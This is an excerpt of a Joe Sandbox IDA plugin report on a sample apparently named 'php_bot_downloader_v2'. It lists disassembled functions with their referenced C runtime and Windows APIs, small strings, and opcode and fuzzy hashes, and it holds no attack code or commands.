Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: a21c862472e3088139fc8571bc345ddbdf786caeb27319e9e41f84d8900d7b8b
Instruction ID: 0adeb9ca76d3e42a3af111bad5a3eadf210662e6ac5ce564b6ba26e8bb04219a
Opcode Fuzzy Hash: a21c862472e3088139fc8571bc345ddbdf786caeb27319e9e41f84d8900d7b8b
Instruction Fuzzy Hash: 53115421718B65C6E7508B62E85432976B0FBC9BE5F084234D9ADD7BA4DF3DD8048748

Function 00007FF658E2AE90 Relevance: 9.2, APIs: 6, Instructions: 168COMMON

Download Yara Rule

APIs

_Fgetc.LIBCPMTD ref: 00007FF658E2AF4F

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Fgetc
String ID:
API String ID: 1720979605-0
Opcode ID: fb42830bdd064bb1acbce0b55d4d7959c793a1a6dabc3b39c22b22369a1dcea0
Instruction ID: d876d0316743eaa0b842944b0ae586c3b72e753cd46d85432c02cbfdc2fe1d8d
Opcode Fuzzy Hash: fb42830bdd064bb1acbce0b55d4d7959c793a1a6dabc3b39c22b22369a1dcea0
Instruction Fuzzy Hash: 14910F22A1DA9685E620EB25E8513AEB3B0FBC5780F544532E68FD3E99DF3CD444CB44

Function 00007FF658E30C9C Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 322COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF658E30E3F
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF658E31171

Strings

csm, xrefs: 00007FF658E30DE8
csm, xrefs: 00007FF658E30E66
csm, xrefs: 00007FF658E30D86

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 2ddeceb2b1e2050200a8eb5915ffc846504ca094d5999cbdc1050429b9866f80
Instruction ID: 79f29145faf9c0da41d1c089eabec47b22ed622c67d535f97a9ee6d60c9b3aba
Opcode Fuzzy Hash: 2ddeceb2b1e2050200a8eb5915ffc846504ca094d5999cbdc1050429b9866f80
Instruction Fuzzy Hash: B9E19673A086A28AEB619F35D8413AD37B0FB45748F184135EA4DA7AA5CF3CF985C704

Function 00007FF658E23390 Relevance: 9.1, APIs: 6, Instructions: 58COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF658E233A0
__int64.LIBCPMTD ref: 00007FF658E233B9

Part of subcall function 00007FF658E257B0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF658E257CB
Part of subcall function 00007FF658E257B0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF658E257FD

std::locale::_Getfacet.LIBCPMTD ref: 00007FF658E233CD
Concurrency::cancel_current_task.LIBCPMTD ref: 00007FF658E2340C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF658E23482

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_taskGetfacet__int64std::locale::_
String ID:
API String ID: 2644824941-0
Opcode ID: 4e8ff2d6e0e881a76c7e224c95ace2b212c0d57f2ab622ddbebd630806d503df
Instruction ID: 39da743d28c4e63c8cb6c93db0f95f6623fc2d16b252a1b3cd51fb1a49f4ab67
Opcode Fuzzy Hash: 4e8ff2d6e0e881a76c7e224c95ace2b212c0d57f2ab622ddbebd630806d503df
Instruction Fuzzy Hash: C8211C2291DA5681DA50DB25F88126AB3B0FBC47A4F581232F69F93FB9CE3CD540CB44

Function 00007FF658E234A0 Relevance: 9.1, APIs: 6, Instructions: 58COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF658E234B0
__int64.LIBCPMTD ref: 00007FF658E234C9

Part of subcall function 00007FF658E257B0: std::_Lockit::_Lockit.LIBCPMT ref: 00007FF658E257CB
Part of subcall function 00007FF658E257B0: std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF658E257FD

std::locale::_Getfacet.LIBCPMTD ref: 00007FF658E234DD
Concurrency::cancel_current_task.LIBCPMTD ref: 00007FF658E2351C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF658E23592

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_taskGetfacet__int64std::locale::_
String ID:
API String ID: 2644824941-0
Opcode ID: 554728f3cb3212a051f0630be7b155290780745ec98476e122ebd23f86fb3f2a
Instruction ID: e894e3c5995f72e8fb1406ffa568db5827a7284b01301f34989df97097850ae2
Opcode Fuzzy Hash: 554728f3cb3212a051f0630be7b155290780745ec98476e122ebd23f86fb3f2a
Instruction Fuzzy Hash: AA21012691DA5681DA50DB25F88126AB7B0FBC47A4F581131F68F93FB9DE3CD540CB04

Function 00007FF658E38B1C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF658E38B38
GetProcAddress.KERNEL32 ref: 00007FF658E38B4E
FreeLibrary.KERNEL32 ref: 00007FF658E38B6B

Strings

mscoree.dll, xrefs: 00007FF658E38B2F
CorExitProcess, xrefs: 00007FF658E38B47

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9cc20eae06868b564852225bda0ce1a891cf480019757d5227e3f406cf984c5b
Instruction ID: 8c10f0400e314bb426b9493bf0863862c56098dcb7d35b55e2500cc4170d295b
Opcode Fuzzy Hash: 9cc20eae06868b564852225bda0ce1a891cf480019757d5227e3f406cf984c5b
Instruction Fuzzy Hash: EBF05EA5B29B6691FF444B70E4953782370AFC4B50F081035D98FE6AB5CE3CE988C308

Function 00007FF658E3007C Relevance: 7.8, APIs: 5, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FF658E3019F
__AdjustPointer.LIBCMT ref: 00007FF658E301EA

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 1f862b495ce0092b4b467d6445097635467c5ad24390af48dd2882038da0547f
Instruction ID: 3f8a3b8accd8729b983d14ed05a0a0d260dd73710afcc9898ba5219dedc7f2ef
Opcode Fuzzy Hash: 1f862b495ce0092b4b467d6445097635467c5ad24390af48dd2882038da0547f
Instruction Fuzzy Hash: D6B18331A0A66685EE669A35954063963B0AF44B84F0D8435DE4DB7FA6DE7CFC81C308

Function 00007FF658E2A520 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

char_traits.LIBCPMTD ref: 00007FF658E2A576
char_traits.LIBCPMTD ref: 00007FF658E2A5AE
char_traits.LIBCPMTD ref: 00007FF658E2A5C9
char_traits.LIBCPMTD ref: 00007FF658E2A5FA

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: char_traits
String ID:
API String ID: 1158913984-0
Opcode ID: eee9b33b103d1c671d78ca435e39c14e0fe5bb946dc4f95c2f57295a9fdf7c4a
Instruction ID: 5f8cc2c2a7cedb49b97d14057f648126745fe887194eb28bfe1b6cbe3aab18e6
Opcode Fuzzy Hash: eee9b33b103d1c671d78ca435e39c14e0fe5bb946dc4f95c2f57295a9fdf7c4a
Instruction Fuzzy Hash: BB411D22A0C55385DA10AB61E85127AA371FBC0754F480031F68FE6EA6DFBCD445CB44

Function 00007FF658E2AC70 Relevance: 7.6, APIs: 5, Instructions: 74COMMON

Download Yara Rule

APIs

_Func_class.LIBCONCRTD ref: 00007FF658E2ACA3
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E2ACEE
MultiByteToWideChar.KERNEL32 ref: 00007FF658E2AD16
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E2AD6F
MultiByteToWideChar.KERNEL32 ref: 00007FF658E2AD99

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: ByteCharConcurrency::details::EmptyMultiQueue::StructuredWideWork$Func_class
String ID:
API String ID: 2499392862-0
Opcode ID: 6924f140a0b5c5d1967e81772abc8e7d71d3b60c7ca967b30c720e5a1017f485
Instruction ID: ed5d3ba0a6e21e09a317610c4a74535e9e625692c002ea93f846122bb9731482
Opcode Fuzzy Hash: 6924f140a0b5c5d1967e81772abc8e7d71d3b60c7ca967b30c720e5a1017f485
Instruction Fuzzy Hash: 1731F932619A9686E760EB21F85136AB7B1FBC5780F445035EACE97E69DF3CD4048B04

Function 00007FF658E479AC Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF658E479D4
_set_statfp.LIBCMT ref: 00007FF658E479EF
_set_statfp.LIBCMT ref: 00007FF658E47A0B
_set_statfp.LIBCMT ref: 00007FF658E47A47

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 5ec7d1d2ee78b7bb47a819edda9959dead6f4184f451086c1de1fab1feefcc3a
Instruction ID: b79edae6caa975e051b871b746ed06a396ae7c036f669ad1d9df3175f1c429f5
Opcode Fuzzy Hash: 5ec7d1d2ee78b7bb47a819edda9959dead6f4184f451086c1de1fab1feefcc3a
Instruction Fuzzy Hash: 2C119422E18A2B01F7541538DC413B510616FD4374F1D0638EAEEF6FFA8E7CE9415189

Function 00007FF658E40998 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 211COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF658E40C3E

Part of subcall function 00007FF658E46BB8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF658E46BD5

Strings

UTF-16LEUNICODE, xrefs: 00007FF658E40BE2
ccs, xrefs: 00007FF658E40B8A
UTF-8, xrefs: 00007FF658E40BC1

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 235069ecbf4a5eaf0fbea59f941ac267a5bf642a7a0aa0abdf81a8f9634a849a
Instruction ID: c51d81f12461daf5231190d7b0a133446771882845a4b1df602075a0f8ab708e
Opcode Fuzzy Hash: 235069ecbf4a5eaf0fbea59f941ac267a5bf642a7a0aa0abdf81a8f9634a849a
Instruction Fuzzy Hash: 1E81A232E0C26289F7E74A3982542392BB09B9174CF6D5035CACDF6DB5CE3DA9059A0D

Function 00007FF658E313C4 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF658E31434
_CallSETranslator.LIBVCRUNTIME ref: 00007FF658E3147F

Strings

RCC, xrefs: 00007FF658E31450
MOC, xrefs: 00007FF658E31448

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 6334b790ba180b6d72bd3d4becf287214f241295dda6d2a72eef6ce3b9437840
Instruction ID: a219cbf3e5308b122b4012d85ab35b384283f2d81100786a1009b6a406386e45
Opcode Fuzzy Hash: 6334b790ba180b6d72bd3d4becf287214f241295dda6d2a72eef6ce3b9437840
Instruction Fuzzy Hash: B891B173A087A28AE751DB74D8402AC77B0FB44788F184129EE8DA7B65DF3CE995C704

Function 00007FF658E311AC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF658E311F8
_CallSETranslator.LIBVCRUNTIME ref: 00007FF658E31247

Strings

RCC, xrefs: 00007FF658E31215
MOC, xrefs: 00007FF658E3120C

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: f4444d037b1fb689084b3d10cb9da7450b886d7a58eb8ba5ff558f001752dc68
Instruction ID: b2edae5a1f290782e8044e4ac658e96312c68c5f15e0a5856f7ed08192d1f618
Opcode Fuzzy Hash: f4444d037b1fb689084b3d10cb9da7450b886d7a58eb8ba5ff558f001752dc68
Instruction Fuzzy Hash: D6514C32A08B558AE7209F65D8403AD77B0F744B88F184129EF4DA3F69DF78E955C704

Function 00007FF658E31938 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF658E31960
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF658E31A48

Strings

csm, xrefs: 00007FF658E31A9A
csm, xrefs: 00007FF658E31982

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 1231e3bd0bbc00f4bab183a5bb9aa44d8e00dd2da21d4a5fc5b7d713ce3abe7b
Instruction ID: 7c34db624e4730e1e24fb2d4eed95ad9807ff336059f132ef51825347398c65a
Opcode Fuzzy Hash: 1231e3bd0bbc00f4bab183a5bb9aa44d8e00dd2da21d4a5fc5b7d713ce3abe7b
Instruction Fuzzy Hash: 48517032908652C6EB249B31984437876B4FB54B85F1C9139EA8DA7FA5CF3CFC508709

Function 00007FF658E47010 Relevance: 6.2, APIs: 4, Instructions: 159COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF658E47051
_invalid_parameter_noinfo.LIBCMT ref: 00007FF658E470D1
_invalid_parameter_noinfo.LIBCMT ref: 00007FF658E47125
_get_daylight.LIBCMT ref: 00007FF658E4717D

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: d7766dfd87ad9cc2ea68eb1762deb8f7c0ff0de4b08703f79d2ff84f51fcf0b1
Instruction ID: 3d67f7bf99b0e970d46afb079eecf9097c710debb81e4a04ec0b90fa81121683
Opcode Fuzzy Hash: d7766dfd87ad9cc2ea68eb1762deb8f7c0ff0de4b08703f79d2ff84f51fcf0b1
Instruction Fuzzy Hash: 6851C132E0D26A46F73949389C0537A66A09B81714F1D4435DA8EE6FF6CF7CEC4096C9

Function 00007FF658E23B10 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E23B2F
char_traits.LIBCPMTD ref: 00007FF658E23CA2

Part of subcall function 00007FF658E29EE0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E29EEE
Part of subcall function 00007FF658E29EE0: _Max_value.LIBCPMTD ref: 00007FF658E29F13
Part of subcall function 00007FF658E29EE0: _Min_value.LIBCPMTD ref: 00007FF658E29F41

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E23BE9
allocator.LIBCONCRTD ref: 00007FF658E23BF9

Part of subcall function 00007FF658E286D0: _Allocate.LIBCONCRTD ref: 00007FF658E286EB

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019499545.00007FF658E5F000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E62000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019541766.00007FF658E66000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff658e20000_php_bot_downloader_v2-AVERAGE-BOI-CLN.jbxd

Similarity

API ID: Concurrency::details::EmptyQueue::StructuredWork$AllocateMax_valueMin_valueallocatorchar_traits
String ID:
API String ID: 1138929436-0
Opcode ID: 7122be0a635e2ce142a1961118c1f375f835ba666873dd87a5fbbad60312d432
Instruction ID: 9ded1d99057df9ca36c07f91b0a263def9db5632a8bb5a7133567c2d79acc3d8
Opcode Fuzzy Hash: 7122be0a635e2ce142a1961118c1f375f835ba666873dd87a5fbbad60312d432
Instruction Fuzzy Hash: 0141EC2261DB9581DA60DB66F89126BA7B0FBC9BC4F140125FACE93F29DF3CC5508B44

Function 00007FF658E21950 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

APIs

Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E21996
WideCharToMultiByte.KERNEL32 ref: 00007FF658E219CD
Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E219FB
WideCharToMultiByte.KERNEL32 ref: 00007FF658E21A33

Part of subcall function 00007FF658E23920: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E23934

Part of subcall function 00007FF658E24EC0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FF658E24EDB

Memory Dump Source

Source File: 0000000C.00000002.2019170510.00007FF658E21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF658E20000, based on PE: true

Associated: 0000000C.00000002.2019138076.00007FF658E20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2019211886.00007FF658E4B000.00000002.00000001.01000000.0000000E.sdmpDownload File
